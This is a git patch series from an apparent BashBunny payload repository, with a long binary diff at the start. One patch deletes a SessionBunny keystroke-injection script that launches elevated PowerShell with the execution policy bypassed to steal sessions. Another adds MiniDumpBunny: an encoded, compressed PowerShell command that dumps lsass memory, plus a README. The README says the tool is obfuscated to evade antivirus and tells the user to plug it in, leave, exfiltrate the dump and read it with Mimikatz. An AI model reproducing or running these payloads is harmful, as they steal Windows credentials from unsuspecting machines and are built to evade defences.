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%0D=1&3kPJRgPBHby>yoI`++L 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 SLx1xBP*PC854&sj{C@#axrfsL diff --git a/SessionBunny/payload.txt b/SessionBunny/payload.txt deleted file mode 100644 index 4531e181..00000000 --- a/SessionBunny/payload.txt +++ /dev/null @@ -1,44 +0,0 @@ -#!/bin/bash -# -# Title: SessionBunny -# Author: 0iphor13 -# Version: 1.0 -# Category: Credentials -# Attackmodes: HID, Storage - -LED SETUP - -Q DELAY 500 - -GET SWITCH_POSITION -DUCKY_LANG de - -Q DELAY 500 - -ATTACKMODE HID STORAGE - -#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING - -LED STAGE1 - -Q DELAY 1000 -RUN WIN "powershell Start-Process powershell -Verb runAs" -Q ENTER -Q DELAY 1000 -Q ALT j -Q DELAY 500 - -Q DELAY 1000 -Q STRING "powershell -exec bypass" -Q DELAY 500 -Q ENTER -Q DELAY 250 -Q STRING "Import-Module((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\SessionBunny.ps1')" -Q DELAY 250 -Q ENTER -Q DELAY 250 -Q STRING "Invoke-SessionBunny -Everything" -Q DELAY 250 -Q ENTER - -LED FINISH \ No newline at end of file From 09ab811f9c5cf631a3465e28ac0c147a51dbaf87 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Mon, 14 Mar 2022 12:05:27 +0100 Subject: [PATCH 41/59] Uploaded MiniDumpBunny Dump lsass with this rewritten and for BashBunny adapted version of Powersploits Out-MiniDump. --- .../credentials/MiniDumpBunny/MiniBunny.bat | 2 + .../credentials/MiniDumpBunny/README.md | 17 +++++++ .../credentials/MiniDumpBunny/mimi.png | Bin 0 -> 61640 bytes .../credentials/MiniDumpBunny/payload.txt | 43 ++++++++++++++++++ 4 files changed, 62 insertions(+) create mode 100644 payloads/library/credentials/MiniDumpBunny/MiniBunny.bat create mode 100644 payloads/library/credentials/MiniDumpBunny/README.md create mode 100644 payloads/library/credentials/MiniDumpBunny/mimi.png create mode 100644 payloads/library/credentials/MiniDumpBunny/payload.txt diff --git a/payloads/library/credentials/MiniDumpBunny/MiniBunny.bat b/payloads/library/credentials/MiniDumpBunny/MiniBunny.bat new file mode 100644 index 00000000..7e6ea1d9 --- /dev/null +++ b/payloads/library/credentials/MiniDumpBunny/MiniBunny.bat @@ -0,0 +1,2 @@ +’ž&cls +powershell.exe -enc JABwAHIAbwBjAGUAcwBzACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAGwAcwBhAHMAcwA7ACgAbgBlAHcALQBPAGIASgBFAGMAVAAgACAASQBPAC4AQwBvAE0AUAByAGUAcwBzAGkAbwBuAC4ARABlAEYAbABhAHQAZQBzAFQAcgBFAEEATQAoAFsAUwB5AHMAVABlAE0ALgBpAG8ALgBtAEUATQBPAHIAeQBzAHQAcgBlAGEAbQBdAFsAcwBZAFMAVABFAE0ALgBjAG8ATgB2AEUAcgBUAF0AOgA6AEYAcgBPAG0AYgBhAFMARQA2ADQAUwBUAHIAaQBuAGcAKAAgACcAegBWAFYAUgBiADkAbwB3AEUASAA3AG4AVgA1AHcANgBKAEIASQBKAEkAbwAxAE8AZQA2AGgAVQBhAFIAMAB0AEcANQBPAGcARQBlAG0ARwBOAEkAUQBxAFEANAA3AEcAbQAyAE4ASABqAG8ARwBpAHEAdgA5ADkANQB5AFEAbABDAGEARQBQADYAMQA2AFcAcAAvAGoAOAArAGIAdgBQADUAOAA5AG4AQQBJAEQANQBJAEEANABGAG0AcwA5AGMAaABsAHcAKwBPAE8ANgBpAFIAVQBIAHcAbQBXAFkAeABPAEsAMQBXAE4AcgBMAGYAUABBAHUAaABRAGUAMwA0AEsAdQBXAEcASwB3AG0AWAA4AEwANwBBAFoANABnAGYAVABQAEMAUQBHAFEAeABXAG0AaQBmAEcAZQBZAEkANwBUAEUAMwBQAFoAeQBhAEMAOQBqADAAOABWADYARwBCADAAWgBTAHQARABMAFMAdgBOADMARQB5ADUAQQBJAHoAOQBDAFcAMAAvAGQAbAAxAE4AdQBtAFcAQwB0AHEAegBtAHkAbABOAHoAZgAzAGcAZAB2AGsATABWADIAYgBoAFgAYQBVAHAAeABrAHUAeAA5ADcANgBnAHUAZABzAG4ANgBIAFMAQwBmAFcAbwB3ADkAcwBaAE0AcwBnAGUATQBVAFIAcgB2AGEAbQBOAFUAegBLAHgAYwBiADAAWgA3AFYATAB2ADAAUgBtAHUAbABwADUAZwBvAGIAVQBoAEQAeAA2ADAAbABtAEIAQgAwAGkAMgBNADAAawBRAHAAVABLADQAUgBpAGwAbgA1AEMAVwA4AEUAdwBUADEATABEAGQATAByAFEAbQBTAGoAcABiADUAYQBDAHIANgBwAGsAUQA4AEUAZQBMAE0ATgA4AGkAbQB0AEIAYwBxADIAQwBvAHMAcgBaADEASwBLAHkAcgBnAHUAQgBJAGQASgBWAHAAMQB3ACsANQBwAEwAYgBvAHMAdwAwAE4AMgBoAC8AQwBqAEcAMQA1AEYAWgBaAC8AdQB0ADAARwBnAHQASQBXAFMANwBDAFAAYwBIAEsAVABUAFQAYwBDAEQASABHAFcATwBtADkAVgBmAGwAOQBKAE0AMQA1AGYAdwBIADkAUwBzAEYAOQByAFYAYQBZAHAAcQBNAHcATwA1AEYAOAA0AEkAMwBDAEIAbQBCAEMAeABxAGgAQwA3AEwAZwBCACsAcwBvAGsARwBhADAASwB5AHkATQBOAG8ATABWAEIAdwBYAGoAVwBkAHEAbwA1ADMAUAB0AHkAUABBAHAAZABMADQAeQBUAHMANgBaAGMAdQA3AC8AQwBSAHQAOABVAGwANABVAEIAYQB3AFkANwBUAGwAVQBoAHMAUwBGAHkASgA1AEwAOQBMADIARwBDAHUAMQA1AHUATgBoAGoAZABlAHUAVwBVAGMANQB5AHIAQwAvAE0AQwBNAEYAWQBoAEwAaQA0AHUAQgBnAFEAegBXAEgAWAB2AEYATgBPAE4ATQBIAGIALwBqAFoAUAB5AFIAbgBLAHIAZgBxAFAAVABsAG4AUQBrAFgAZgBqAGsAMQBHAHYAVwBQAFoARAA4ADEAVgBkAFcANgBxADAARQA1AFkAYQA5AGcASwAzAFIARAB2ADkATgAwAFcAbgA3AHYAWgBGAHQAVABvADcAMQBqAGEAWgBpAC8AMABTAHQALwBoADgAUwAxAHoAMQBwAEoAMgA4AGcAVgBJAHAATwBaAFoASwB2AHcAZQBsAEoAWgBWADYAOABVAGQANwBUAHAANQBxAE8AOQBzADMAagBDAHAATwBpADQAMQBZAHMATwBWAEIAeABvAGkAUQAxAE8AZQBzADUAWQBkAHYAYgBlAGYAOABBAGYAWQBWAGgAVABJAGEAZwAxAGwAagBjAHIAVQBQAFkASwArAEkAdQBPAEUAZABYADcAcQBKADIANQBkAHoASwBmAGIAUABmAE8ANQBqAFMARQBXADQAUgBtAE4AeABEAHcAcQBpAGoATQBpAEgAMgBzAEMATgBuAEcANQBRAFEAMgByADYAMQBwAGgASwBrAEgAZwB5AFYAQgBuAHgAawBjAFUATAAyAEEAZgBZAEMAegBpAEUANwBMAGcAUQBzADgAVwBYAGQAVQBRAG8AdQB3AFUAUQBJAEsANQBZAFMASQBpAEwAYQA4ADMANQB2AHkAUQAzADQAYQBvAGMANgBpAEoARABXADAAbgBPAEMASwBSAGkAVgAwAHoASAA0ACsAQwBGAEQASgBFAFcAbgBxAFIASABtAGkAbgBzAGoAZQBpAGkAYQBQAGEATwBYAHYAUQA1AFgAVwBiAHUARwBnAEoAUgBMAEkALwBZAEQASgBlAG0AcAAyAEcAQgA5ADcAeQBiAFMAYQB0AGMAcwA3AFEASAB6AGYAUABoAEQAawBlAEkAcgBaADAAcwBOAHYARABlAEkAdQBBAGgAUAB5AHEAbAB3AHQAZgA0AEEAJwAgACkAIAAsAFsAcwB5AFMAdABlAG0ALgBJAE8ALgBDAE8AbQBQAFIAZQBTAFMAaQBPAG4ALgBjAG8AbQBwAHIARQBTAFMAaQBPAE4ATQBvAEQARQBdADoAOgBEAGUAQwBPAE0AcAByAGUAcwBTACAAKQB8ACAAZgBPAFIARQBhAGMAaAAgAHsAIABuAGUAdwAtAE8AYgBKAEUAYwBUACAAIABJAG8ALgBzAFQAUgBlAEEATQBSAGUAQQBkAGUAUgAoACQAXwAgACwAWwBzAHkAUwBUAGUAbQAuAHQARQB4AFQALgBlAG4AQwBvAEQASQBuAGcAXQA6ADoAYQBTAEMASQBJACAAKQAgAH0AKQAuAFIARQBBAEQAdABvAEUAbgBkACgAIAApAHwAaQBuAHYAbwBLAEUALQBlAHgAcABSAEUAUwBTAGkAbwBOAA== \ No newline at end of file diff --git a/payloads/library/credentials/MiniDumpBunny/README.md b/payloads/library/credentials/MiniDumpBunny/README.md new file mode 100644 index 00000000..a6fba8e0 --- /dev/null +++ b/payloads/library/credentials/MiniDumpBunny/README.md @@ -0,0 +1,17 @@ +**Title: MiniDumpBunny** + +Author: 0iphor13 + +Version: 1.0 + +What is MiniDumpBunny? +# +*MiniDumpBunny uses Powersploits Out-MiniDump script to dump lsass. The script was rewritten, adapted for BashBunny usage and obfuscated in multiple ways to evade Antivirus.* +# + +**Instruction:** + +Plug in your BashBunny equipped with the obfuscated MiniBunny.bat file, wait a few seconds, go away. +# +Exfiltrate the .dmp file and read it with Mimikatz. +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/MiniDumpBunny/mimi.png) \ No newline at end of file diff --git a/payloads/library/credentials/MiniDumpBunny/mimi.png b/payloads/library/credentials/MiniDumpBunny/mimi.png new file mode 100644 index 0000000000000000000000000000000000000000..e366dd6457c24e30204f3035d6674c619a916b16 GIT binary patch literal 61640 zcmYIv2|SeD`~DCKp-qxyRF*ar$!=&vwn8b}BqaO3nVU zL0e=R7l8;nY2J+uc{0^n3=S_P$d&8M{SbUtl9b3P{7%>LYLMB28BPpMt;Uh`o5`$E zFy|JN1>=#Mc@|)%Fq47cMNjc+L9E(M2!UoylOU&a7pf_g)zx7TkHmAP@xG|D`P&#w z*dXVujqa2c0lRMI6c_~Et=Nm5>w}6&Qxpp@eR@CVwqs@Ag-YCS+%>Y^0Q(b9d^1KY zOwiHgmY4OCMzh~H>yn~&cW?KFMbnr23NV`T-Hd_FR&;@*xaj;=`DYRVWAvh020XzK zuhtA~zSk51c9tU*C_{{f$7D2Eh?CTi17H1MVB7gz;@8;yD6Dt)F;zr*;LrsFqs8WZ zolwx+D4VM>HCwk;ZeEDN&M`I$7q+rJS;twq!CU6NbL(6q4OcZ-8lCl(V{kt5u4csa zS-e~~0*T|U)y1K&mW9V4(ib>M zp%p^eh$^rsqcyQs2CyD6Q-$a8t56B1i$j?CgV&8K#NYxC9&xR1gO>fRDjk;87@Dgb58}dn-!VS2Vl0e|+P-hE(=eMY zQNU$N1v@Ba+_Z~GXEzf2;$}Yu;bym6Na;#dNj*C95xCAy4Qr+}f|W*PxV`B1kVjY& ztL?(T0cXja=-qGDlD(ZuJe-t8tlG2q?V-n~iDO|3_ftXG@SE>r8& zSHr7mW6jsDG^8?c!Qb<5q<(U_y3ywvly0t3aA5#z@x#WfRX_NY=yWiQ#F=&bzR{A? z(-~;>n`4N9jFDWoiomu!nd1yx6=LMdiR+W*N3bp}hV0VVh=>p9$?3txeC@C@^q;5# zu13zvEwFX;7IF4R-(HutkZ)ngfx*6PgE?dcLW|vb$*S`p6{t&18n|1&ENk=Dwg|KA zhheCNmB}eEdY2qwUm6w0-Dj0+D=2Q1>mgKi_viTTI!G?NlSlN^dpq+aB!Tq32?I^t-X>lUW5MEPln zD{-u z^jf%{z_dEgVoXjJtz?YUsN8fvI#shc+$ORxwiDsXtQyp2DoL`rXYaRl6= zi(Gn=JEyE>c5XSdfvVxcoXCu;jT=9__@nv7_psvuF|ea=%Ei#IOO#D-Ey>`w!=(j? z3#Z7NzK7$y@dXz#8Es}xu4C?sQ5*EstF z=q%NPf0&2ds%NVcdO}?&L!64{cq<7HU@HwHx`n07=Le@0 zxvdnGA&EiYakp})*XX^;_>0O!uY#4_>K4Kz5VcpnyQeURG0bEb@o1TS>eL<`X<*&C zdc2a$ysNJU2!?)TIc$OSo;0|7F%mnXVr*BLv+^u!yX|H6*~`t8hQ`fvDu#uBbccT} z_TOKQntEm}<5!a+ZUzn0KSJ|5EAWYphiP`}y;m z7R{(o6Un 